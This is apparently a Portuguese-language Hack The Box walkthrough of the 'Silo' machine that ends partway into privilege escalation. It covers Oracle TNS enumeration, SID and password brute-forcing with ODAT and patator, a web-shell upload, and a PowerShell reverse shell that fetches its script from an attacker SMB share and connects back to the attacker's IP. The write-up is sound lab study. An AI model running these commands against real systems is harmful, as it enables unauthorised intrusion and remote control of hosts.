Hack The Box - Silo

1.jpg

Enumeration

Iniciamos como sempre o nmap para pegarmos informacoes sobre nosso alvo

┌─[htb-an4kein☺parrot]─[~/htb/silo]
└──╼ $sudo nmap --top-ports 30 -sV -oN nmap/topportstcp 10.10.10.82
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-25 23:49 UTC
Nmap scan report for 10.10.10.82
Host is up (0.16s latency).
Not shown: 26 closed ports
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 8.5
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, q; CPE: cpe:/o:microsoft:windows

Continuando a enumeracao em busca de vulns, usando o proprio nmap e seus scripts para tentar trazer algoo interessante..

┌─[htb-an4kein☺parrot]─[~/htb/silo]
└──╼ $nmap -p80,135,139,445 --script vuln 10.10.10.82 -oN nmap/vulns
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-25 23:53 UTC
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 76.32% done; ETC: 23:53 (0:00:07 remaining)
Stats: 0:01:36 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 23:54 (0:00:01 remaining)
Nmap scan report for 10.10.10.82
Host is up (0.45s latency).

PORT    STATE SERVICE                                                          
80/tcp  open  http                 
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
135/tcp open  msrpc
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp open  netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds
|_clamav-exec: ERROR: Script execution failed (use -d to debug)

Host script results:
|_samba-vuln-cve-2012-1182: No accounts left to try
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: No accounts left to try

Nada muito obvio ate o momento precisamos continuar enumerando, agora vou enumerar cada porta individualmente..

Na porta 80 temos um IIS, posteriormente vou usar o gobuster em busca de files/dir que possa ser uma porta de entrada

2.jpg

Enquanto o gobuster esta rodando, vamos enumerar as outras portas

┌─[htb-an4kein☺parrot]─[~/htb/silo]                                                                                                                    [0/127]
└──╼ $sudo gobuster dir -w /opt/SecLists/Discovery/Web-Content/SVNDigger/all.txt -u http://10.10.10.82/ -o gobuster-root.txt
===============================================================                                                                                               
Gobuster v3.0.1                    
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)             
===============================================================      
[+] Url:            http://10.10.10.82/                                        
[+] Threads:        10                                                         
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/SVNDigger/all.txt
[+] Status codes:   200,204,301,302,307,401,403                                
[+] User Agent:     gobuster/3.0.1                                             
[+] Timeout:        10s                                                        
===============================================================                
2020/06/26 00:21:51 Starting gobuster                                          
===============================================================      
/????.txt (Status: 200)            
/??.txt (Status: 200)                                                          
/?? (Status: 200)                                                              
[ERROR] 2020/06/26 00:24:15 [!] parse http://10.10.10.82/%%45^45E^45E480CD%%index.tpl.php: invalid URL escape "%%4"                                           
/???? (Status: 200)                                                            
[ERROR] 2020/06/26 00:24:38 [!] parse http://10.10.10.82/%%F7^F7F^F7F34188%%header.tpl.php: invalid URL escape "%%F"                                          
[ERROR] 2020/06/26 00:24:53 [!] parse http://10.10.10.82/%%0E^0E4^0E407559%%footer.tpl.php: invalid URL escape "%%0"                                          
Progress: 8084 / 43135 (18.74%)           

Continuando..

Uma enumeracao rapida usando apenas -a do enum4linux nao trouxe muita coisa,

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jun 26 01:18:24 2020

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.10.82
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =================================================== 
|    Enumerating Workgroup/Domain on 10.10.10.82    |
 =================================================== 
[E] Can't find workgroup/domain


 =========================================== 
|    Nbtstat Information for 10.10.10.82    |
 =========================================== 
Looking up status of 10.10.10.82
No reply from 10.10.10.82

 ==================================== 
|    Session Check on 10.10.10.82    |
 ==================================== 
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.

Mas, olhdando com calma o que ja conseguimos.. sabemos que o sistema operacional eh um windows e que pode ser 2008 ou 2012 Windows Server 2008 R2 - 2012 , entao podemos pesquisar por alguns exploits futuramente..

Preciso enumerar mais..

─[htb-an4kein☺parrot]─[~/htb/silo]                                                                                                                      [2/2]
└──╼ $sudo nmap -p139,445 --script smb-vuln-* 10.10.10.82                       
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-26 01:26 UTC
Nmap scan report for 10.10.10.82
Host is up (0.21s latency).
                                       
PORT    STATE SERVICE     
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
                                       
Host script results:                                                           
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
                                       
Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds    
┌─[htb-an4kein☺parrot]─[~/htb/silo]                                            
└──╼ $sudo nmap -p139,445 --script smb-enum-* 10.10.10.82                       
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-26 01:26 UTC
Nmap scan report for 10.10.10.82
Host is up (0.21s latency).
                                       
PORT    STATE SERVICE                                                          
139/tcp open  netbios-ssn 
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
                                       
Nmap done: 1 IP address (1 host up) scanned in 15.67 seconds

Continuamos..

┌─[htb-an4kein☺parrot]─[~/htb/silo]                                            
└──╼ $sudo nmap -O -oN nmap/os 10.10.10.82                                 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-26 01:28 UTC            
Nmap scan report for 10.10.10.82                                               
Host is up (0.21s latency).                                                    
Not shown: 988 closed ports                                                    
PORT      STATE SERVICE
80/tcp    open  http    
135/tcp   open  msrpc
139/tcp   open  netbios-ssn                                                                                                                                   
445/tcp   open  microsoft-ds                                                   
1521/tcp  open  oracle             
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49158/tcp open  unknown
49160/tcp open  unknown
49161/tcp open  unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/26%OT=80%CT=1%CU=31873%PV=Y%DS=2%DC=I%G=Y%TM=5EF54F6
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%TI=I%CI=I%II=I%TS=7)SEQ(
OS:SP=FF%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M54DNW8ST11%O2=M54DN
OS:W8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=
OS:2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=
OS:M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0
OS:%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Interessante, encontramos uma nova porta 1521/tcp open oracle, e vamos em busca de obter mais informacoes

┌─[htb-an4kein☺parrot]─[~/htb/silo]                                                                                                                           
└──╼ $sudo nmap -sV -sC -p80,135,139,445,1521 -oN nmap/ports_set 10.10.10.82                                                                                  
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-26 01:36 UTC                                                                                               
Nmap scan report for 10.10.10.82                                                                                                                              
Host is up (0.21s latency).                                                                                                                                   
                                                                                                                                                              
PORT     STATE SERVICE      VERSION                                                                                                                           
80/tcp   open  http         Microsoft IIS httpd 8.5                                                                                                           
| http-methods:                                                                                                                                               
|_  Potentially risky methods: TRACE                                           
|_http-server-header: Microsoft-IIS/8.5                                    
|_http-title: IIS Windows Server                                               
135/tcp  open  msrpc        Microsoft Windows RPC                          
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn                  
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:                                                                                                                                          
|_clock-skew: mean: -6s, deviation: 0s, median: -7s         
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:                                                                                                                                          
|   authentication_level: user     
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-26T01:36:44
|_  start_date: 2020-06-25T06:31:52

Resolvi entao pesquisar mais sobre esse servico no qual estava rodando na porta 1521 Oracle TNS listener 11.2.0.2.0 (unauthorized)

3.jpg

Algumas pesquisa me levaram alguns ataques no qual eu preciso testar e ver se vai surtir efeito…

reference

- https://www.cybersecurity-help.cz/vdb/SB2012041801 
- https://www.securityfocus.com/bid/53308  
- https://github.com/bongbongco/CVE-2012-1675 
- https://github.com/quentinhardy/odat/wiki/tnspoison

4.jpg

Exploitation

Vamos, la explorar esse servico…

Primeiramente, preciso checar se eh vulneravel

reference https://github.com/bongbongco/CVE-2012-1675

sudo nmap -Pn -sT --script=oracle-tns-poison -p 1521 10.10.10.82

5.jpg

Como podemos ver eh vuln

Realizei algumas pesquisas e encontrei um site interessante que demonstra varios ataques

reference https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener

Resolvi entao fazer um brute for de SID inicialmente…

SID Bruteforce

patator oracle_login host=10.10.10.82 sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505

msf5 > use auxiliary/admin/oracle/sid_brute

Consegui entao os seguintes SID

CLRExtProc
PLSExtProc
XE

6.jpg

De acordo com o site de referencia que estamos usando ele informa que precisamos ter uma credencial

Got SID? Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials.

User/Pass bruteforce

Bom, entao eh isso que vamos buscar agora… CREDENTIALS

Ate o momento nenhuma conta valida encontrada,ja usei as seguintes wordlists

/usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt
/usr/share/nmap/nselib/data/oracle-default-accounts.lst
/home/htb-an4kein/htb/silo/brute/oracle-betterdefaultpasslist.txt

Depois de diversas tentativas de wordlists, resolvi modificar a padrao utilizada com UPPER:lower lower:lower lower:UPPER UPPER:UPPER

7.jpg

Boom, eu ainda estou tentando encontrar uma conta usando brute-force. ate o momento nada aindaa

continuaaa……………. I need sleep :/

Continuando a saga ate encontrar uma conta valida, observe na imagem abaixo as tentativas sendo efetuadas.. observe tbm a INFO que a conta de SYSTEM eh bloqueada

patator oracle_login host=10.10.10.82 sid=XE user=FILE0 password=FILE1 0=users.txt 1=passwords_upper.txt -x ignore:code=ORA-01017

8.jpg

veja,antes estava dando errors por nao ter passado um SID valido

patator oracle_login host=10.10.10.82 user=FILE0 password=FILE1 0=users.txt 1=passwords_upper.txt -x ignore:code=ORA-01017 --allow-ignore-failures

9.jpg

Ainda tentando encontrar algo

10.jpg

Faz mais de 6 horas que estou tentando encontra um login valido, ja tentei varias listas de senhas default de ORACLE mas sem sucesso.. Estou utilizando agora uma lista de names.txt do repo seclists

root@kali:~/HTB-Windows/silo/brute# cp /usr/share/seclists/Usernames/Names/names.txt .
root@kali:~/HTB-Windows/silo/brute# cp /usr/share/seclists/Usernames/Names/names.txt names1.txt

patator oracle_login host=10.10.10.82 sid=XE user=FILE0 password=FILE1 0=names.txt 1=names1.txt -x ignore:code=ORA-01017

11.jpg

Fazer brute demora bastante, exige muits paciencia de sua parte… entao, enquanto esta sendo realizado vou ir fazendo outra maquina… assim que conseguir as creds validas eu volto a este post..

De volta a maquina, entao hoje voltei a fazer a Silo nas tentativas anteriores nao deu muito certo… As vezes voce so precisa esfriar a cabeca, fazer uma outra coisa e depois voltar a fazer a maquina quando as coisas nao estiverem mais fluindo em sua cabeca…

Acabei de iniciar minha maquina e conectar ao lab HTB.

Entao, voltei a fazer o mesmo processo novamente.. Agora com calma, alimentado, descansado em outras palavras SUAVEEEEEEEEEEEEE

Primeiro eu fiz um novo scan com o nmap, dessa vez algo mais agressivo..

root@kali:~/HTB-Windows/silo# nmap -sV -sC -p- -T4 -oN nmap/silo -vvv 10.10.10.82     
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 14:27 EDT           
NSE: Loaded 151 scripts for scanning.                                                                                                                                      
NSE: Script Pre-scanning.                                                                                                                                                  
NSE: Starting runlevel 1 (of 3) scan.                                                
Initiating NSE at 14:27                                                              
Completed NSE at 14:27, 0.00s elapsed                                                
NSE: Starting runlevel 2 (of 3) scan.                                                
Initiating NSE at 14:27                                                              
Completed NSE at 14:27, 0.00s elapsed                                                
NSE: Starting runlevel 3 (of 3) scan.                                                
Initiating NSE at 14:27                                                              
Completed NSE at 14:27, 0.00s elapsed                                                
Initiating Ping Scan at 14:27                                                        
Scanning 10.10.10.82 [4 ports]                                                       
Completed Ping Scan at 14:27, 0.20s elapsed (1 total hosts)                                                                                                                
Initiating Parallel DNS resolution of 1 host. at 14:27                               
Completed Parallel DNS resolution of 1 host. at 14:27, 2.16s elapsed                 
DNS resolution of 1 IPs took 2.16s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]                                                                           
Initiating SYN Stealth Scan at 14:27                                                 
Scanning 10.10.10.82 [65535 ports]                                                   
Discovered open port 135/tcp on 10.10.10.82                                          
Discovered open port 139/tcp on 10.10.10.82                                          
Discovered open port 445/tcp on 10.10.10.82                                                                                                                                
Discovered open port 80/tcp on 10.10.10.82                                           
Discovered open port 49161/tcp on 10.10.10.82                             
SYN Stealth Scan Timing: About 6.30% done; ETC: 14:35 (0:07:41 remaining)            
Discovered open port 49162/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 10.70% done; ETC: 14:36 (0:08:29 remaining)
SYN Stealth Scan Timing: About 16.40% done; ETC: 14:36 (0:07:44 remaining)
Discovered open port 49155/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 22.56% done; ETC: 14:36 (0:07:16 remaining)
Discovered open port 1521/tcp on 10.10.10.82
Discovered open port 49153/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 36.00% done; ETC: 14:37 (0:06:42 remaining)
Discovered open port 47001/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 42.43% done; ETC: 14:37 (0:05:47 remaining)
SYN Stealth Scan Timing: About 47.81% done; ETC: 14:37 (0:05:15 remaining)
SYN Stealth Scan Timing: About 53.81% done; ETC: 14:37 (0:04:44 remaining)
Discovered open port 49160/tcp on 10.10.10.82
Discovered open port 49158/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 59.51% done; ETC: 14:37 (0:04:06 remaining)
Discovered open port 49152/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 64.61% done; ETC: 14:37 (0:03:34 remaining)
SYN Stealth Scan Timing: About 70.19% done; ETC: 14:37 (0:02:59 remaining)
SYN Stealth Scan Timing: About 75.32% done; ETC: 14:37 (0:02:28 remaining)
Discovered open port 5985/tcp on 10.10.10.82
SYN Stealth Scan Timing: About 80.75% done; ETC: 14:37 (0:01:55 remaining)
SYN Stealth Scan Timing: About 86.01% done; ETC: 14:37 (0:01:24 remaining)
SYN Stealth Scan Timing: About 91.27% done; ETC: 14:37 (0:00:53 remaining)
Discovered open port 49154/tcp on 10.10.10.82
Completed SYN Stealth Scan at 14:37, 610.50s elapsed (65535 total ports)
Initiating Service scan at 14:37
Scanning 15 services on 10.10.10.82
Service scan Timing: About 53.33% done; ETC: 14:39 (0:00:49 remaining)
Completed Service scan at 14:39, 121.59s elapsed (15 services on 1 host)
NSE: Script scanning 10.10.10.82.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:39
Completed NSE at 14:39, 10.13s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:39
Completed NSE at 14:39, 0.98s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:39
Completed NSE at 14:39, 0.00s elapsed
Nmap scan report for 10.10.10.82
Host is up, received echo-reply ttl 127 (0.18s latency).
Scanned at 2020-06-28 14:27:11 EDT for 745s
Not shown: 65520 closed ports
Reason: 65520 resets
PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 8.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   syn-ack ttl 127 Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49158/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49160/tcp open  oracle-tns   syn-ack ttl 127 Oracle TNS listener (requires service name)
49161/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49162/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 28507/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 52707/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 38458/udp): CLEAN (Failed to receive data)
|   Check 4 (port 6292/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
|_  message_signing: supported
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-28T18:39:28
|_  start_date: 2020-06-28T16:14:25

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:39
Completed NSE at 14:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:39
Completed NSE at 14:39, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:39
Completed NSE at 14:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 746.32 seconds
           Raw packets sent: 74362 (3.272MB) | Rcvd: 329713 (32.759MB)

Encontrei mais portas, porem vou voltar a fazer o brute conforme estavamos fazendo anteriormente..

Veja, eu estava tentando usando o patator, mas nao estava dando certo.

12.jpg

Obs: Gostei muito do pwnbox, mas fiquei muito decepcionado ao mesmo tempo.. tem limite de uso// 24h no mes…

Esse passo vou fazer usando o metasploit auxiliar para esse objetivo..

13.jpg

Tambem sem sucesso, estava sem ideias ja do que fazer.. ja tinha usado varias wordlists, as principais tools e nada de ter uma cred valida..

Voltei no odat e comecei a ler o projeto e vi que ele praticamente faz todo o ataque..

ODAT (Oracle Database Attacking Tool) is an open source penetration testing tool that tests the security of Oracle Databases remotely.

odat

No momento estou fazendo o brute novamente utilizando o proprio 0dat, vamos ver se conseguimos dessa vez uma cred valida

python3 ./odat.py passwordguesser -s 10.10.10.82 -d XE --login-as-pwd --output-file SILO.txt

15.jpg

Nada!!! Talvez parametros errados.. Vou continuar tentando.

python3 ./odat.py passwordguesser -s 10.10.10.82 -d XE --accounts-file accounts/accounts_multiple.txt --login-as-pwd -n --output-file SILO2

16.jpg

Realizei mais algumas alteracoes na wordlist com creds default..

Usei o libreoffice para formatar como eu queria e agilizar o trampo, a opcap --login-as-pwd modifica apenas o campo de senha e nao o user, e como sabemos a wordlist do odat todos os users e passwords sao em UPPER.. formatei conforme falei anteiormente e vou tentar novamente;

17.jpg

vamos nos novamente tentar

python3 ./odat.py passwordguesser -s 10.10.10.82 -d XE --accounts-files accounts/loginFile accounts/pwdFile --output-file SILO3

18.jpg

Por um tempo eu achei que nao estivesse funcionando, umas verificada rapida usando tcpdump vejo que esta fluindo a conexao

19.jpg

Mas mesmo assim eu nao conseguia encontrar uma cred valida, comecei a debugar e ver como estava sendo enviado as cred de acordo com os parametros passados

Observe na imagem a seguir que as senhas mesmo passando a opcao --both-ul para testar o password tanto em LOWER OU UPPER CASE, mas essa funcao vem setada como False mesmo eu tentando passar --both-ul=True ou --both-ul True ou --both-ul "True" ou --both-ul 'True' NADA FUNCIONAVA.

20.jpg

Veeja o menu do modulo de brute

21.jpg

Entao comecei a ler o codigo, e modifiquei diretamente no source a opcao que estava como False para True.

Ficando assim:

22.jpg

Pronto agora estava testando tanto em UPPER como em LOWER

Depois de tanto tempo, conseguimos obter a CRED

python3 ./odat.py passwordguesser -s 10.10.10.82 -d XE --accounts-file accounts/accounts_multiple.txt --both-ul --output-file SILO2 -vv

23.jpg

Estava teanto replicar novamente, vejam o erro que ocorre..

DEBUG -: Error during connection with this account: ORA-28000: the account is locked

24.jpg

Mesmo colocando SLEEP 2,3,5 nada…

Envim, vamos continuar agora que ja temos o SID e a CRED

Ok, depois de obter a cred necessaria vou tentar obter um RCE… de acordo com o site de referencia isso eh possivel

https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener

Primeiro eu precisa testar se realmente eu consigo executar comandos, usando o tcpdump eu consigo verificar se me retorna um ping.

tcpdump -i tun0 icmp -vv

depois de ativar o tcpdump na interface da VPN e setar o protocolo ICMP e deixar em modo verbose

tentamos entao executar comandos

python3 ./odat.py java -s 10.10.10.82 -U SCOTT -P tiger -d XE --exec 'ping -n 10.10.14.37'

25.jpg

nao tem JAVA, entao temos o outro metodo..

tentei via Execute code via External Tables mas nao tinha privilegio suficiente…

python3 ./odat.py externaltable -s 10.10.10.82 -U SCOTT -P tiger -d XE --exec "copy \\10.10.14.37\tools\reverse64.exe" "C:\windows\temp\reverse64.exe"

26.jpg

ja que nao tinhamos privilegios o suficiente, resolvi verificar quais eram os privileges para meu user

python3 ./odat.py privesc -s 10.10.10.82 -d XE -U SCOTT -P tiger --get-privs

27.jpg

eu precisava saber minha locazacao e assim tentar escrever algum arquivo.. entao fui pesquisar um pouco mais..

28.jpg

29.jpg

depois de ler o que tinha encontrado eu precisava de um client em meu localhost para realizar a comunicacao e ver se achava algo interessante

Install SQLPLUS CLIENT

apt search sqlplus

30.jpg

apt install oracle-instantclient-sqlplus

31.jpg

root@kali:/opt/odat# sqlplus --help
sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory

https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared

Preparing to unpack .../oracle-instantclient-sqlplus_19.6.0.0.0-0kali1_amd64.deb ...

export ORACLE_HOME=/opt/oracle/instantclient_19_6
export LD_LIBRARY_PATH="$ORACLE_HOME"
export PATH="$ORACLE_HOME:$PATH"
sqlplus

root@kali:/opt/odat# export ORACLE_HOME=/opt/oracle/instantclient_19_6
root@kali:/opt/odat# export LD_LIBRARY_PATH="$ORACLE_HOME"
root@kali:/opt/odat# export PATH="$ORACLE_HOME:$PATH"
root@kali:/opt/odat# sqlplus 
sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory
root@kali:/opt/odat# apt install libsqlplus
Reading package lists... Done
Building dependency tree       
Reading state information... Done
E: Unable to locate package libsqlplus
root@kali:/opt/odat# apt install libsqlplus^C
root@kali:/opt/odat# ldconfig 
root@kali:/opt/odat# sqlplus 

SQL*Plus: Release 19.0.0.0.0 - Production on Mon Jun 29 19:15:48 2020
Version 19.6.0.0.0

Copyright (c) 1982, 2019, Oracle.  All rights reserved.

Enter user-name: 

Depois de configurar o clliente tive um errro ao tentar me conectar

root@kali:/opt/odat# sqlplus                                                                                                                                  
                                                                                     
SQL*Plus: Release 19.0.0.0.0 - Production on Mon Jun 29 19:15:48 2020                
Version 19.6.0.0.0                                                                   
                                                                                     
Copyright (c) 1982, 2019, Oracle.  All rights reserved.                              
                                                                                     
Enter user-name: SCOTT
Enter password:                           
ERROR:                                    
ORA-12162: TNS:net service name is incorrectly specified                             


Enter user-name: ^C^C                     
root@kali:/opt/odat# sqlplus --help       

Mas depoid de ver o help me conectei,,

sqlplus SCOTT/tiger@10.10.10.82/XE

32.jpg

Resolvi voltar pro odat esse framework eh bem completo

python3 odat.py cve -s 10.10.10.82 -U SCOTT -P tiger -d XE --test-module

33.jpg

Eu tentei fazer login com essa cred em outros servicos encontrados, 445,5985 mas sem sucesso/…

Reverse Shell

Depois de acordar e voltar a ler docs consegui finalmente escrever no server, posteriormente tentar fazer upload de uma reverse shell.

python3 odat.py utlfile -s 10.10.10.82 -U SCOTT -P tiger -d XE --putFile "C:\inetpub\wwwroot" "anakein.txt" "/root/HTB-Windows/silo/anakein.txt"  --sy
sdba

34.jpg

Agora acesso o arquivo que foi enviado

35.jpg

De acordo com a enumeracao anterior, trata-se de um x64 entao eu vou tentar fazer upload de uma web shell e ver se vai funcionar…

E finalmente temos uma webshell

python3 odat.py utlfile -s 10.10.10.82 -U SCOTT -P tiger -d XE --putFile "C:\inetpub\wwwroot" "antak.aspx" "/root/HTB-Windows/silo/antak.aspx"  --sysd
ba

36.jpg

Vou trabalhar agora para obter uma reverse shell

Edit o vim Invoke-PowerShellTcp.ps1

no final do arquivo adicione

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.37 -Port 53

Inicie o impacket-smbserver tools . no dir onde encontra-se o Invoke-PowerShellTcp.ps1

E agora usando a webshell vamos copiar nossa shell para o C:\Windows\Temp

copy \\10.10.14.37\tools\Invoke-PowerShellTcp.ps1 C:\Windows\Temp\

37.jpg

Ative o listen na porta de acordo com o que voce setou em seu arquivo

rlwrap nc -nlvp 53

Entao execute

C:\Windows\Temp\.\Invoke-PowerShellTcp.ps1

Temos nossa reverse shell

38.jpg

Privilege Escalation

Entao vamos la escalar nosso privilegio

PS C:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
PS C:\windows\system32\inetsrv> 

JuicyPotato? Huuuuuuuuuuuummm

Vammos pegar mais informacoes do nosso sistema, com o systeminfo e entao posteriormente buscar por exploits de kernel.

PS C:\windows\system32\inetsrv> systeminfo >> \\10.10.14.37\tools\systeminfo-SILO.txt


Host Name:                 SILO
OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00252-00115-23036-AA976
Original Install Date:     12/31/2017, 11:01:23 PM
System Boot Time:          6/29/2020, 10:45:01 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
                           [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
